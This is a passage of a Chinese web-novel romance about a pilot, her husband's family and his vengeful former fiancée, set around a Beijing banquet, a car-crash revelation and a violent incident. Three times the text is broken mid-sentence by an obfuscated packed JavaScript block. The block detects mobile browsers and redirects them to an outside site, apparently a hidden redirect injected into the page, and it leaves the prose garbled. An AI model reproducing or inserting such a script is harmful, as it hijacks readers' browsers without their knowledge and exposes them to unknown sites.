周珮文和郝芝宜周围尽是一些陌生面孔。但为首那个被郝芝宜挽着手臂,看起来分外亲热的女子,黎念一眼就认出来是谁。 她事前在网上搜过乔清露这个名字。 新生代天才华人女导演,国外知名电影奖项拿到手软。照片里面的年轻女人不论何时何地,永远都扬着意气风发的露齿笑容。 虽然乔清露一度陷入过花钱从导演系学生手中购买作品署名权的风波,但这段真假难辨的小插曲并没有影响到她之后如日中天的事业运程。 只是近一年来,她突然收敛起一贯高调张扬的作风,宣布要潜心打磨作品,逐渐淡出了公众视野。 乔清露的黑色高开叉长裙乍见平平无奇,细看蕾丝布料上面银白钉珠灿若繁星。她像是把整个混沌的黑夜都披在了身上。 “念念,快过来,”周珮文笑着招呼黎念,亲昵地揽住她的肩膀,向所有人光明正大地介绍道,“这就是我家媳妇黎念,海云航空的飞行员。大家经常往返京沪说不定还能坐上念念的航班呢。” 其他中年贵妇人纷纷对黎念投来上下打量的目光。怨怼、警惕、轻蔑、漠然,诸般贪嗔痴慢疑明晃晃地写在脸上。 乔清露也循声转过头来,眼神蜻蜓点水般擦过她的身侧,很快虚焦,悄无声息游移到别处去。 大家虚与委蛇地互相点头致意,也没再多话。 乔家人向来眼高于顶,搭乘飞机都能插队优先起飞,从来不会在意幕后服务的无名小卒究竟是谁。 更不会对立场相悖的人放低姿态。 “好可惜,平时我都坐高铁的,下次一定专门买张机票来看儿媳妇。” 说话的人是乔清露的母亲、郝芝宜的亲生姐妹,郝芝兰。她平时喜欢单方面和谢持以母子相称,也是乔家一众女眷里论资排辈最说得上话的。 黎念听着这话心里总犯抵触,然在自家长辈面前又不敢直接冲撞身份更加尊荣的客人,只好笑道:“现在都是电脑排班,能在飞机上遇到的概率太小了。您要不嫌弃的话,不管是安缦还是文华东方的下午茶,我随时备上等您来。” 语气间尽是不卑不亢。 名流也好,权贵也罢,都是与她见一面少一面的人。而她自有挺直腰杆的底气,无需卑微到尘埃里。 “哪能让儿媳妇破费呀,”郝芝兰抿嘴一笑,又拉着乔清露到跟前来,“这是你小乔妹妹,前不久才回国,你们小辈之间平时有空多聚在一起熟识一下。” 郝芝宜在旁边帮腔:“可惜露露和小持之间是差了点夫妻缘分,不然两家亲上加亲多圆满。” “过去的事情别再提了。”郝芝兰面色冷肃,及时喝止道。 以乔清露为圆心的小圈子里,气温一度降到冰点,所有知情人士顿时噤若寒蝉。 她漆黑的眸子里泛不起一丝微澜,唇角勾起嘲讽的角度,冷笑从喉间滞涩地溢出来。 “Stella乔。”乔清露伸出右手,待到黎念回握上去后又立刻松开,神情一如既往淡漠。 黎念这才看清楚她的正脸。 和照片上相差无几。只是,面颊清瘦到略微凹陷下去。如壁虎一般盘踞在额角和脖子上的两道疤痕,在周围光洁的皮肤的对比之下显得格外狰狞可怕,用再厚的粉底遮瑕都盖不住,索性大方露出来任人评说。 受伤到手术再到恢复,从云端跌落下泥潭,可想而知她主动销声匿迹的这段时间都经历了怎样的磨难。 很难不让人生起恻隐之心。 这时,服务生凑到周珮文耳朵旁传话。 她神情肃然,待到遣走对方后,又连忙换了笑:“你们先在这里好好聊,思谏马上就到,我得去宴会厅准备一下了。待会儿会有人过来请,大伙儿再下楼用餐。” 谢家妯娌一块离场,剩下的乔家长辈自觉没在这里干耗着的必要,也三两成群地渐渐散去。 没有外力约束,乔清露懒得再装乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857476|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧,抱臂冷冷看着黎念。金色臂环在冷光之下闪烁着凌厉的锋芒。 有意来搭话的人都敏锐察觉到此处剑拔弩张的气息,无一敢上前打扰。 “以后见面就不必太频繁了,我没心情看着既得利益者给自己找不痛快。” 黎念时不时摇晃着手中酒杯,好笑反问:“乔小姐,何苦对第一次相识的人抱有这么大的恶意呢?” 乔清露嗤声:“他拿你做了这么多年的挡箭牌,你的名字我都听腻味了,根本算不上陌生。” 黎念偷翻了个白眼,明明是他俩之间剪不断理还乱,到底和她有什么关系。 “我还以为我们可以做朋友,”她浅啜了一口香槟,准确来说是相似颜色的无酒精饮料,气定神闲道,“外国人,导演,女性,明明你集齐了诸多不利因素,却还能杀出重围取得傲人成就。 “说句实在话,我很羡慕你。” 同时暗自腹诽,知道她在执勤期内有禁酒令,还能把酒偷换成茉莉花茶兑雪碧的饮料,也只有谢持想得到做得到。 “呵,那还不是万贯家产堆积出来的,”乔清露眯起眼睛,“网上的人不都说我的成名作是花钱买来的吗?哪里有什么天降紫微星,无非就是祖上积德,让我这样的三代随意挥霍罢了。” 眼见对方听到这些丑闻依然面不改色,像是提前对她做好了充分的背调,她遽然目光如炬,指着黎念发出尖锐凄厉的笑声。 “果然,你也相信了!哈哈哈……” 黎念猝不及防被她吓了一跳,但很快恢复沉着冷静,温声道:“评判是非的主动权交到他人手上只会伤害自己。” “你们都觉得这是我的错,对吗?”乔清露对黎念安慰的话语置若罔闻,眼神无比空洞,喃喃自语道,“被造谣是因为我惹是生非太多,谢持最终没有选择和我结婚也是因为我不够好……” 她踩在细高跟上,纸片薄的身体看起来时刻摇摇欲坠,仿佛下一秒就会和身上的万千星光一同跌入深渊陨灭成灰。 “知道我脸上的伤疤是怎么来的吗?”乔清露猛然跨步上前,紧扣住黎念的手腕,指引着她去摸索那一片片凹凸不平的新生的软肉。 黎念惊恐地抽开手。 诡异的触感让她心颤。 “去年五月,谢持说希望由我来陪他和心爱的赛车告别。我们计划从图卢兹出发一直开到尼斯,去有我们共同记忆的地方再次重温当时的美好。没想到快到蒙彼利埃时,天空下起了好大的雨…… “结果你猜怎么着?”乔清露眨眨眼。 没等黎念张口发声,她又自问自答起来。 “对,是车祸。 “他开车分心了,因为我作势要去吻他。车撞到了护栏上,他伤势不重,可我却流了好多好多的血…… “后来医生说,玻璃碎片要是再多扎进几毫米,我的颈动脉就会被当场割裂。” 黎念痛苦地捂住耳朵,脸色如纸般苍白:“你别说了。” 五月究竟有多么黑暗,她永生难忘。 那是黎志明永远离开的月份。 一想到谢持失约的原因是和眼前的女人在南法度假时发生了意外事故,她只觉得胃液开始灼烧翻涌,让她恶心到头晕目眩、冷汗涔涔。 乔清露却笑得愈发开朗。 “黎念,怎么是这副表情?我可没心情和你抢男人,因为—— “我是来毁掉他的。” 38. 堤福俄斯 彼时酒会即将正式开场,绝大多数宾客在侍应生的带领之下已经移步一楼宴会厅,余下驻留在天台的人寥寥可数。 夜幕四合,气温陡降,顶层的寒风自顾自吹得嚣张跋扈。 黎念心脏如坠寒潭,浑身冷到发颤。稍不留神,手中空杯滑落到地面上,瞬间迸裂开来,碎片四处飞溅。她条件反应后撤一步,不可置信地摇着头。 她觉得乔清露就是彻头彻尾的疯子。自己过得不如意,便要把所有人拉下沼泽,越是挣扎越要往下沉沦,永世不得超生。 有人听到这里的动静连忙赶来。 肩头覆上西装外套,上面还残存着主人的体温,以及若有若无的柑橘气息。黎念已经猜想到来人是谁,但她实在心力交瘁,不愿回头看他。 “没事吧?”谢持用力紧扣住她的肩膀,关切询问道,见她神思恍惚,又连忙俯下身子检查她身上有无被玻璃碎片划破的痕迹。 乔清露置身事外看着热闹,还要故意添乱,娇声嗔道:“持哥哥,你怎么都不关心我有没有受伤。” 谢持自然不愿意仰视着和她对话,于是站起身来,居高临下看她,竭力隐忍情绪:“Stella,你不要胡闹。” “可是我们刚才明明相谈甚欢,黎念还说要和我做朋友呢,这怎么能叫‘胡闹’?”乔清露眉头紧蹙,一副委屈巴巴的模样,“你不能因为对我有成见,还要阻碍我自由交友吧。我已经不是小孩子了。” 谢持不难听出话中有几分真假,心下一沉,下意识低头看向怀里的人。她僵硬得动也不动,身体随着呼吸起伏的弧度越来越微弱,好似下一秒就会失去生命体征。 这绝非愉快交谈之后会有的正常反应。 “念念?还好吗?”谢持拍了拍黎念的肩头,试探问道。 黎念朦朦胧胧听见呼唤声,惊醒过来。她竟然从未像现在这样感到窒息,憋闷,喘不过气。 她不露声色推开谢持,将肩上外套一把扯下来,用扔的方式退还给他,然后蹬着高跟鞋利落转身离开。脊梁骨挺得劲直,背影看起来倔强又单薄。 “黎念!别走!” “你到底怎么了!” 谢持被这突如其来的态度转变打了个措手不及,三步并作两步上前握住她的手臂想要挽留,却被黎念发了狠心奋力挣脱掉。 他知道黎念不喜欢被勉强,也觉得一味使用蛮力拉扯不算体面,便任由她携着满身滔天怒意,头也不回地消失在夜色中。 “真是精彩,”乔清露鼓掌连连,踱步到谢持跟前,毫不掩饰满脸狡黠的笑容,“看来你所谓的情比金坚也不过尔尔。 “我好像又有机会来搞定你了。你说对吗?我的哥哥。” 她把自己的筹码全部亮明给黎念,赌的就是两人并未真心相爱。 至少,有一方的骄傲会不攻自破。 “乔清露,你到底和她说了些什么?”谢持淬了寒光的眼神横过去,“我明明警告过你,别去招惹不该惹的人。” “是,在法国的时候我的确拿你没办法,你尽管无视、冷落、羞辱我都没关系。”乔清露哑然失笑,脖子生涩卡顿地扭了扭。 她从手包里抽出一根香烟衔在唇间,拨动打火机的滚轮。枯槁般的手拢住橙蓝色火焰,凑到面庞前去。火舌在微风下急不可耐地跃动着,像是要去舔舐她额前骇人的伤疤。 登时白雾缭绕,火星点点,她倒也不吸上一口,只是取下烟管夹在指缝间。时而手腕晃动,抖落灰粒。 她就地找了张圆凳,翘着二郎腿猫腰坐下。金色背链被一节一节的脊梁骨高高顶起,整个人瘦削得触目惊心。 然后,阴森森地抬眼望向他,一字一顿反问道:“但是在京城,你还能有资格和我这样讲话?” “现在已经轮不到你来评说。”谢持丝毫没有被她威胁到,反而轻轻笑出了声。 他双手插在西裤口袋里,步步逼近,俯下身子和她视线平齐,狠戾道:“看在乔老爷子的情面上我再警告你一次,不要碰到我的底线,否则只会让你得不偿失。” 乔清露敛起裙摆站起身,手臂紧紧勾缠住他的脖子,偏过头去用力吸了一口烟,又对着他的耳朵缓缓吐息:“猜猜我告诉黎念什么了?” 谢持身形一滞。 “我把我脸上的这些疤痕是怎么来的都告诉她了哦。”乔清露又恢复了起初无辜天真的神情,语气里还带了点俏皮。 当然,是经过她精心的艺术加工之后,三分真七分假的,故事。 可是听者怎又会在意故事的虚构性呢?足以撼动人心就是乔清露想要达到的效果。 谢持未敢松懈半分,义正辞严道:“你最好是没有添油加醋。” 他们在法国的确经历了一场惨烈的车祸。乔清露受的伤到今天也没有痊愈,但谢持也好不到哪里去。 剧烈撞击下,他肋骨几乎全部断裂,在医院里不省人事将近一周时间。 醒来时,手机里的未接电话和消息堆积到快要爆仓,他这才意识到自己好像错过了提醒事项上“最紧急且最重要”的约定。 他怕黎念看到自己躺在病床插满管子吸着氧的颓唐模样,不仅拒绝了所有视频通话,还用“出了点事”这种理由胡乱搪塞过去,又陷入无尽的昏睡。 有关这场意外,黎念一直被蒙在鼓里,直到遇见乔清露。 其实事情的起因经过没什么好隐瞒的,他都能和黎念好好解释。但凭借着他对乔清露的了解,对方极有可能从中作梗。 “莫非,你没告诉她这件事情?”乔清露好笑挑眉,脸贴得更近,几乎快要咬住他的耳朵,“JesusChrist,夫妻之间怎么能有秘密?呵……” 谢持往后仰着脖子避开她,耐心已然耗尽:“乔清露,这与你何干?” “怎么没有了?”乔清露佯装无辜,“我想要的是你,你们的事情就是我的事情,仅此而已。 “要是我说,我们两个在法国过得就像真正的夫妻一般如胶似漆,黎念又会怎么想呢?还真是好奇呢。” 谢持无动于衷:“你纠缠了我这么多年,要是还不愿意放过我的话,至少麻烦你别再去打扰她,更不必编造这些谎言折损自己的清誉。” “谢持,你现在就是这样看我的?” 天台只剩下二人对峙。 周珮文派了好几次服务生来请,都被无视掉,直到最后一次用的是谢思谏的名义。 乔清露悲戚的神情终于有了一丝松动。 她将烟狠狠吸进肺里,再把抽到一半的烟头下重手摁在被随手搁在身旁的流金手袋上面。 鳄鱼皮外表顿时被烧出一块焦黑的窟窿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889889|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她举起烧坏的手包,用指腹拂去了上面的还有些烫手的烟灰,想也没想就直接把它扔到地上,像处置垃圾那样。 “走吧,持哥哥,我缺一个男伴,你的太太正好也不知所踪,”乔清露笑意盈盈,挽住谢持的手臂,仰望着他紧绷的侧脸,“uncleTse应该很喜欢看到我们两个在一起吧?” 谢持听到这个称呼,无奈地揉了揉眉心。 没有人不怕谢思谏,包括最有资本叛逆耍性子的谢持。 虽然他的确忤逆过谢思谏两次。 几年前,他擅自修改复旦经济学院的志愿,选择去北航读工科,就一度和父亲走到了决裂的边缘。最后还是在周珮文的斡旋之下才勉强修复了关系。 谢持不愿意做“赫尔墨斯”的接班人这件事,始终是扎在谢思谏心里的倒刺,拔掉就会失血不止。 后来,谢持没有和乔清露修成正果,反倒一而再再而三让谢家在乔家面前抬不起头来,谢思谏愤怒到无以复加,直接断掉了对谢持的全部资金支持。 不过谢持凭借着售卖专利的价金和在空客公司的薪资,也能在国外过上优渥安逸的生活,这种制裁措施并不能对他造成任何影响。谢思谏根本拿他没有办法,只好作罢。 现在父子的关系仍然十分微妙。 - 宴会厅两扇铜门被缓缓拉开,辉煌的灯光从缝隙里倾泻而出,声势浩大。 乔清露挽着谢持现身在众人眼前,媒体的闪光灯亮起后就再也没有停歇。 为了保持大波浪最完美的卷度,她的发型被造型师重新打理过。但她在入场前刻意把头发撩到一侧肩膀上,将自己的伤疤大方展示出来。这也将被授权媒体写进新闻通稿里。 她撇开谢持,提着裙摆独自登上舞台中央,在发言席前站定脚步。 掌声和闪烁不停的灯光愈发热烈。 “感谢‘赫尔墨斯’为我举办这么隆重的欢迎宴会,也感谢亲爱的姨父谢思邑愿意相信我,对我委以重任,提供自由创作的平台……” 谢持站在台下,心烦意乱扯松领带,完全听不进去她说的一个字。 入场时,他的目光迅速搜遍全场,试图在人群中找到那一抹窈窕亮眼的蓝色身影,但终究是徒劳。 黎念赌气离开后竟不知所踪。 就连平日里和她关系最亲密的周珮文也着急忙慌地过来询问情况。 “你怎么和小乔一起进的场?你把念念弄丢到哪里去了?”周珮文暗地里给了他腰上一拳,嘴角眉梢耷拉成忧心的弧度。 谢持深吸一口气,沉声道:“我马上出去找她。” 他顾不得更多,甚至忽视掉远处那道不怒自威的峻挺身影,直接从把舞台包围得水泄不通的人群中强横地挤出来,提着西装外套朝停车场的方向飞奔而去。 刚才,见到乔清露和谢持一齐现身,谢思谏惯来幽深清冷的眸底里难得添了些许喜色。 细微的变化被谢持尽数记在心里—— 谢思谏直到现在还没有打消与乔家联姻的念头。 但谢持不想再在意。 他只在脑中思索一种可能。 油门踏板一直踩到底,他从拥塞的车流之中肆无忌惮穿插而过,时而绕道拐进狭长的胡同里避开堵点,尽一切可能在黎念离开阆园之前牢牢抓住她。 39. 堤福俄斯 黎念失魂落魄从顶楼下来时,夜里气温已经降得很低了,仅凭身上那片单薄的面料几乎无法抵挡寒风的侵袭。 工作人员看出她不对劲,上前询问是否需要帮忙联系专车,被她淡淡回绝。 她不知道酒店外面是哪里。作为南方人,在京城断断续续生活了这么多年,她还是没能习惯用“东西南北”来辨别方向,只是朝着大门右边更加稠密的灯光走去。 看路牌才发现是金鱼胡同。 她觉得熟悉,想起来自己第一次听说这里还是在上大学的时候。 当时她难得坐地铁进城一趟,在八号线的线路图上看到这个暂未开通的站点,被可爱的名字吸引。上网搜索后才知道,这条古老的胡同起初聚集了众多金银首饰铺,后来才演变成王公贵族的府邸所在,方便他们随时奉旨入宫觐见。 此地旧时风貌不再,如今宽阔马路上尽是熙熙攘攘的繁华景象,两侧豪华酒店和商业大厦肃然林立,满目流光溢彩呼啸而来。 成双成对的行人亲密地挽着手闲逛,纵情享受悠长假期的最后时刻。 黎念盛装打扮,顺着人流悄无声息融进其中,却总是显得那么格格不入。 她形象本就出挑,加之围绕在脖颈间的璀璨宝石,很难不攫取过往行人的注意力。 京城从不缺乏天潢贵胄,但它同时也是低调、质朴、内敛的,没有人会肆无忌惮到穿高定戴高珠,在再寻常不过的大街上走秀,除非她可能精神上受了点刺激。 黎念想,她或许真的快要疯了,会去相信第一次见面的人说的话。 可是回到地震遗址祭拜亡父的约定只有她和谢持二人知晓,乔清露不可能随便编出来一件事就能把时间线对上。 没有那么多巧合。 她不满于谢持错过黎志明的忌日还要用一句轻飘飘的理由来打发她,更气愤他遇到重要事情总爱瞒着她。她无法接受伴侣之间有秘密存在,哪怕谎言的出发点都是善意的。 黎念漫无目的地向前游荡。越是靠近中轴线,楼房愈加低矮陈旧,烟火气息也更重了些。 她路过噪声喧阗的小吃一条街,看见游客打扮的一家三口正站在涮肉店门前,兴致高涨地研究怎样点套餐更划算。后来又被冷饮店的广告词吵到回过神,偶遇屋檐下同吃一个雪糕筒的情侣。 女孩亮晶晶的双眼被黎念脖子上更加夺目的珠宝吸引,双手紧搂住男友的脖子,半开玩笑问他什么时候给她也买一条。 伴随着男友无奈的叹息,银铃般的笑声由风送进了黎念的耳朵里。 她就没谈过健康的恋爱,所以每次路遇这些热恋中的情侣,难免都会多看两眼。 他们年轻、热烈,又带着不谙世事的纯粹,从相识到相爱都没有太多功利的考量,只是单纯想要时时刻刻粘在一起,哪怕对方能够承诺的只有一枚易拉罐的拉环,推来推去的冰淇淋融化成香精味道的奶油液滴落到地上。 黎念不露声色收回视线,手摸到颈后的锁扣,一次性顺利解开。 她把项链和耳环都取下来,随意扔进手提包里,完全不顾及它们之前是如何被sales戴着手套小心翼翼地护送,又是如何被妥善保存在精美的皮质礼盒里。 眼前的街景像是前不久才来过。 路过熟悉的黄底红字牌匾,她记忆清晰浮现。之前黄丽娟来故宫玩时,周珮文就在这家一年四季都要排长队的烤鸭店里招待的她们母女俩。 坐在景观最佳的窗边,隔着水波不兴的护城河,东华门就在对面一片绿树掩映之下巍然矗立。门前的小广场到了傍晚仍然游人如织,流淌着平淡的幸福。 谢持和他的家庭能给的物质实在是太多,多到她承受不过来,也根本不需要。因为横亘在他们中间无数解不开的心结让黎念始终无法堂而皇之接受他们的好。 其实,她自觉能回报的也很少。 她是万千民航飞行员里再普通不过的一个。 纵然这个职业在大众眼中是有一些神秘感的,纵然在海云7897事故以后自己身上又多出一些为人津津乐道的光环。 对于“赫尔墨斯”来说,这些光环就像月亮从太阳反射过来的微光。 岩石尘埃如何与燃烧不息的恒星争辉? 对于整个乔家来说,她的存在更加微不足道,如蝼蚁,似尘埃—— 在周珮文向乔家人介绍她时,对方兴致索然的反应足以证明。 她的自尊心从来不需要建立在别人的赞美吹捧之上,但在那种情形面前,说不受伤都是在强撑罢了。 从酒店走到东华门附近,具体距离无法用步履丈量。脚趾和后跟像是被磨破了皮,疼痛提醒黎念不能再往前一步。 她向来最在意自己的感受,还不至于用皮开肉绽的方式来自虐,于是脱下鞋提在手里,踮着脚到道旁拦下一辆正好路过的出租车。 - 谢持回到阆园,首先撞见的景象就是横在走廊中央的箱子。 不是航空公司统一制式的黑色牛津布飞行箱,而是再普通不过的行李箱,尺寸大到只有在长途旅行或者搬家时才会用到。 想到这一点,他顿时生出一种不详的预感,往更深处走去。 黎念的房间门正虚掩着,光线从缝隙中透出,窸窸窣窣的声音不断传来。 回来了就好。他如是想着,在心里告诫自己不要再情急失言,一鼓作气推开了门。 黎念立于床头,挎着一个巨大的托特包,正将各种电子设备的充电线塞进去。她换了套舒适日常的运动套装,脱下来的晚礼服被她扔在床上,发型和妆容都还未卸除。 对于突然出现在门口的男人,黎念面上波澜不惊,看不出来有过多反应。她不咸不淡收回眼风,转身继续收拾随身物品。 谢持最怕她沉默,害怕她故意把自己当空气一样无视。 哪怕她把情绪写在脸上,对他又吼又叫又咬又打,他或许都能招架。 可他偏偏拿淡漠的黎念最没辙。 “你要走了啊。”谢持远远望着她。 “嗯。”黎念的声音听起来闷闷的,像是从胸腔发出。 “可是你没班。” 这段时间,黎念出了排班都会顺手转发给谢持,一度让他以为一切都在慢慢变好。 他心里再清楚不过,她连着四十八小时都没有飞行任务,只需要在家里备份即可,甚至都不用去公司打卡。 “……” 黎念对于这种刨根问底的做法无多耐心,呼出一口深重的气息,敛着眉眼从他身旁快步掠过。 带动一阵转瞬即逝的轻风。 谢持急忙叫住她:“那件事情我可以原原本本解释给你听。你能不能先别走?” 再没有肢体接触。 她的皮肤实在娇贵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914745|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他稍微一用力上面就会出现红得吓人的指印,让他很有罪恶感。 这一天内情绪跌宕起伏,谢持在最适宜思考人生的天台参悟到了一个道理。面对决意要走的人,如何强留都只是白费力气。 但他更怕没有争取就一败涂地。 “去年五月,我和乔清露在Limousin的确遭遇了一场车祸,因为……” 黎念收住脚步,头微微偏过去,身体还面向着前方。 她承认自己以前没事会偷偷在Googlemap上面放大缩小法国的地图,但她对那里的了解程度还没有到熟悉每一座城市的命名方式。 虽然她隐约记得乔清露说的车祸地点并非这个“L”开头的名字,可那又如何,她已经无心深究。 重要的只是他错失了约定。 而她本来已经做好准备要把他正式介绍给黎志明,告诉父亲,他生前最喜欢的小男孩变成了她可以托付余生的人。 “不用再讲一遍故事,我听累了。 “马上就要复训,我打算今天就搬回基地住。这个月都让我安静一下,别影响我。 “我不希望我的工作再有任何闪失。” 谢持哪会不知道复训之于民航飞行员的重要性。只是他实在没想到,黎念会用这个无法抗拒的借口来逃避和他单独相处。 他垂着头,嗫嚅道:“对不起。” 黎念更未料到谢持会是这个反应。 原本已经准备好的更加冷酷的说辞顷刻间偃旗息鼓,化为了无弹的枪支,空拉的弓弦。 或许,她真的该耐下性子听一听他的解释。哪怕求个彼此心安。 黎念张了张嘴。声音干哑得有些生涩。 “所以你们真的是去度假……” 想说的话却被突兀的来电打断。 房间里寂静到再细微的声响都分辨得清清楚楚,遑论周珮文尖锐凄厉的嗓音。 “小持!你在哪里!你二叔快把别人打死了!” 她一向稳重得体,哪曾失态成这样。 两人张皇对视,心下蓦然一惊。 谢思邑早年经常因为聚众斗殴进局子,下手又不知轻重。最惨烈的一次把对方打得头破血流,神智不清,牙齿也断掉了四颗。 法院判的是故意伤害,刑期三年。 他来到京城之后已经安分多年,但没人能够确保他已经彻底转性。 - 谢持和黎念匆忙赶到宴会现场时,大厅内空无一人,狼藉满地。红酒渍混合着已经氧化的血迹,铺展在地毯、桌椅布套乃至墙面上,触目惊心。 他给周珮文和郝芝宜拨了几通电话都无人应答,询问角落里惊魂未定地收拾残局的服务生,仍旧一无所获。 他迟疑许久,决定联系谢思谏。 那边出乎意料接通得很快。 “你难得主动给我打电话。” 听筒传来的声音沉如寒潭,叫人为之一颤。 “爸,二叔现在在哪里?”谢持焦急地拧着眉头,直入正题。 对方沉吟片刻,旋即轻轻笑了一声。 同时,汽车转向灯的声音有节奏地敲响在谢持耳边。 谢思谏稳坐在古思特后排,悠然驶离风暴中心,却在无形之中掌控着一切。 风雨不动安如山。 “死了—— “也与我无关。” 40. 卡俄斯 伤者被谢思邑手中的红酒瓶砸中头部,当场陷入昏迷,被酒店的工作人员及时送医。好在酒店背后就是国内顶级的三甲医院,从事发到救治并没有耽误太多时间。 只不过伤者一直没有醒来,警方无法询问情况。 所有人都在被动等待。 祈祷最坏的情况不要发生。 谢持赶往辖区派出所找谢思邑,黎念则去医院。 到急诊抢救室门口时,她首先撞见的是郝芝宜母子二人。 谢予竞年纪小,最容易受到惊吓,正趴在母亲怀里嚎啕大哭,喊着要找爸爸。郝芝宜精致到每一根头发丝的中式盘发变得散乱不堪,原本别在脑后用作装饰的镶金玉簪也不知所踪。她泪意阑珊,双眼微红肿得像一双核桃。 刚刚还在豪华酒店里推杯换盏的人们,身着最体面的华服,却因为最不光彩的事情站在急诊大厅里,像热锅上的蚂蚁团团转着,无不提心吊胆等待着抢救的结果。 周珮文在沉闷焦灼的氛围里浑身不自在,眼尖看到黎念像是找到了救星,忙把她拉到一旁的楼梯间去,说起了悄悄话。 “妈,这到底是怎么回事?”黎念压低了声音,迫不及待问道。 周珮文神色凝重,几番欲言又止,最终还是下定决心告诉黎念真相:“当时在宴会上有人开了一句玩笑,说跳跳长得完全不像思邑,怕不是亲生的……” 黎念神思震颤。 跳跳是谢思邑的软肋,是他掏心掏肺疼爱的老来子。如果有人敢这么造谣中伤,下场可想而知。 近些年来,谢思邑解决问题的方式有所变化,但他的态度从来都很简单粗暴。 顺者昌,逆者亡。 周珮文能透露出来的信息量很小,因为这件事情如果直截了当地说出去,会让她和整个谢家颜面扫地—— 早年间,外面流传过很难听的说法。 郝芝宜当初看上的是才华卓绝、温文尔雅的谢思谏,而非那个不学无术还留有案底的二弟。 她铁了心想要嫁给谢思谏,但奈何对方要维护婚姻的表面稳定,只能与她保持地下情人关系。后来他们有了孩子,郝家人坚持要求谢家给一个交代,才勉强同意换由谢思邑和她结婚。 也就是说,根据外人的猜测,跳跳很有可能是谢思谏的孩子。 这些风言风语早就传进过谢思邑的耳朵,但他从没有起过怀疑跳跳血缘关系的心思。同时碍于长兄的威严,他更不敢将反抗直接写在脸上。 家家有本难念的经,何况是赫尔墨斯这样声名大噪的京城新贵。 无数竞争者眼红他们人前的风光,亦不惮以用最坏的恶意来揣测他们的私生活。 众口铄金,积毁销骨。 对于不怀好意者而言,谢予竞到底是不是谢思邑的亲生儿子已经不再重要。没有污点也要制造污点。 “这些人真是居心叵测。”黎念咬牙切齿道。 前脚自己刚被挑衅一气,马上又闹出这档子事,很难不把两个事件联系到一起来看待,就像是有人在幕后精心策划,直奔着摧毁他们一家。 乔清露。 黎念得出这个答案后被自己的想法吓了一跳。她不会是在吃乔清露的醋才会这样妄加臆想对方吧。 “妈,受伤的是谁呢?” 周珮文眼睛向上翻,思索片刻。 她在这次宴请中并不负责拟定宾客名单,平时也不甚熟悉影视圈的大拿。 “和赫尔墨斯影业来往比较多的一个制片人,刚刚听芝宜说,好像姓许。但名字确实忘了。 “听说他以前和思邑关系还不错,有很多业务上的往来,不知今天到底怎的,非得往人枪口上撞。 “思邑肯定也是一时情急,才会诉诸武力。他可是最疼跳跳的人……” 黎念紧盯着周珮文,严肃说道:“这件事情绝对没有我们想象的那么简单,一定要好好查查这个姓许的背后都有谁。” 周珮文被她的神色唬住了:“念念,你莫非知道些什么?” 黎念不敢直接一口咬定是乔清露做的。 虽然对方的确在天台上放过狠话,说要“毁掉”谢持。 可她一没有证据,二又立场尴尬,实在不敢贸然诋毁中伤这个深受谢家人信任和喜爱的乔家大小姐,叫周珮文对她失望。 “我不清楚,可是我总有一种预感,对方是冲着‘赫尔墨斯’来的,”黎念有意语焉不详,却又竭力渲染形势之紧张,“今天的意外只是预告或者烟雾弹,恐怕等到二叔这件事情处理完我们再做准备就来不及了。” 周珮文垂首沉思片刻,觉得黎念说的话颇有几分道理。 独掌“赫尔墨斯”财政大权这么多年,她早在生意场上练就了敏锐的直觉,这也镌刻在骨子里成为了生存本能。 谢思邑气性大,容易被人利用,是一枚危险的定时炸弹。而现在,她似乎感觉到,已经有一只无形的大手按下了启动倒计时的开关。 “念念,我相信你,”周珮文用她那温热的掌心将黎念的双手裹住,坚定颔首,“你一直都是我们家的恩人,十年前是,现在依然是。” 大地震发生以后,在废墟下面找到两个孩子的景象一直是周珮文心里烙得深的疤,过不去的坎。 黎念不惜用自己的身躯为谢持撑开了半边天。她四肢无法屈伸,血污覆满了整张脸,明明只剩下最后一口微弱的气息,还要拼劲全身力气说,他快不行了,先救他。 再见到黎念,她头裹纱布,失魂落魄坐在乡下老家的堂屋里,脸上全是干涸的泪痕。面前用来烧纸钱的铁锅里仅存着忽明忽暗的火星子。 周珮文远远望着愈发心疼,只恨自己不能一个掰成两瓣用。 地震时谢持先天性心脏病急性发作,被连夜送往京城最好的医院实施手术。而眼前的小女孩为了救他颅脑受重伤,还意外失去了爸爸。 那时的记忆实在过于沉重,黎念除了时常做噩梦会梦到,从不愿在清醒的时候主动提起。 她把黎志明的离开归咎于自己和他大吵的那一架,并因此受折磨多年,直到现在仍无法自我和解。 黎念没再顺着周珮文的意思说下去,眉眼垂下去满是落寞:“妈,对不起。” “怎么了?” 这个道歉实在有些突然,让人不明所以。 